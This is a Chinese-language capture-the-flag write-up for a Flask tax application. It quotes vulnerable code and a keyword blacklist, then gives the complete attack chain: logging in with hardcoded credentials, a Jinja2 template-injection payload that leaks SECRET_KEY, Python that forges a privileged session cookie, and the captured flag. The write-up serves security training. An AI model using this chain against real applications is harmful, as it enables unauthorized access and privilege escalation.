47.99.147.34:22477/web/ssti这是一个 Flask Web 应用,关键功能:
POST /login — 查询 SQLite 数据库验证用户名密码POST /api/import — 允许更新 profile 的 income, deductions, state, custom_footer, year 字段GET /preview/<id> — 根据 profile 的 state 字段决定渲染方式GET /admin/vault — 需要 role == 'tax_inspector' 才能获取 flag在 /preview/<id> 路由中,当 state == 'AUDIT_PENDING' 时:
custom_footer = profile['custom_footer']
# 黑名单过滤
blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
for word in blacklist:
if word in custom_footer:
return "Security Policy Violation", 403
# 关键!使用 render_template_string 渲染用户可控的 custom_footer
template_html = f"""...{custom_footer}..."""
return render_template_string(template_html)
custom_footer 直接被嵌入到 Jinja2 模板中并通过 render_template_string() 渲染,存在 SSTI(服务端模板注入) 漏洞。
cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
cur.execute('INSERT INTO config_flags (flag) VALUES ("flag{xxxxxxxxxxxxxxxx}")')
默认管理员账号密码:admin / 123456
SECRET_KEY = os.environ.get('SECRET_KEY', 'this_is_a_very_secret_key_for_tax_system_2026')
源码中的默认 SECRET_KEY 为 this_is_a_very_secret_key_for_tax_system_2026,但实际部署时可能被环境变量覆盖。
使用默认凭据登录:
curl -c cookies.txt -d "username=admin&password=123456" http://47.99.147.34:22477/login
通过 /api/import 接口将一个 profile 的 state 改为 AUDIT_PENDING,同时设置 custom_footer 为 SSTI payload:
curl -b cookies.txt -X POST -H "Content-Type: application/json" \
-d '{"profile_id":59,"data":{"state":"AUDIT_PENDING","custom_footer":"{{ config.SECRET_KEY }}"}}' \
http://47.99.147.34:22477/api/import
然后访问预览页面触发模板渲染:
curl -b cookies.txt http://47.99.147.34:22477/preview/59
返回的页面中 footer 位置显示了真实密钥:
secret_tax_key_2026_xoxo
注意: {{ config.SECRET_KEY }} 没有触发黑名单(不含 __、[、] 等字符),是一个安全的 payload。
使用提取到的 SECRET_KEY,伪造一个 role=tax_inspector 的 Flask session cookie:
from flask import Flask
import flask.sessions
app = Flask(__name__)
app.secret_key = 'secret_tax_key_2026_xoxo'
with app.test_request_context():
session_interface = flask.sessions.SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)
cookie = serializer.dumps({'user_id': 1, 'role': 'tax_inspector'})
print(f"Cookie: {cookie}")
生成的 cookie: eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahp_0A.UCm0IrAW80JeILFdoBhLYRbgJqw
curl -b "session=eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahp_0A.UCm0IrAW80JeILFdoBhLYRbgJqw" http://47.99.147.34:22477/admin/vault
flag{a254d76b46619625320bd29d4a52e79f}
| 漏洞类型 | 说明 |
|---------|------|
| SSTI (服务端模板注入) | custom_footer 用户输入直接传入 render_template_string(),可在 Jinja2 模板中执行任意表达式 |
| 硬编码凭据 | 数据库初始化脚本中明文存储管理员密码 123456 |
| SECRET_KEY 泄露 | 通过 SSTI 的 config 对象读取 Flask 应用配置,获取用于签名 session cookie 的密钥 |
| Session 伪造 | 获取 SECRET_KEY 后可伪造任意用户身份和角色,突破 role=tax_inspector 的权限检查 |
黑名单绕过思路: 题目禁用了 __、[、]、request、session 等,但 config 对象可以直接通过 {{ config.xxx }} 访问,不需要使用 __class__、__subclasses__() 等被禁用的属性访问链。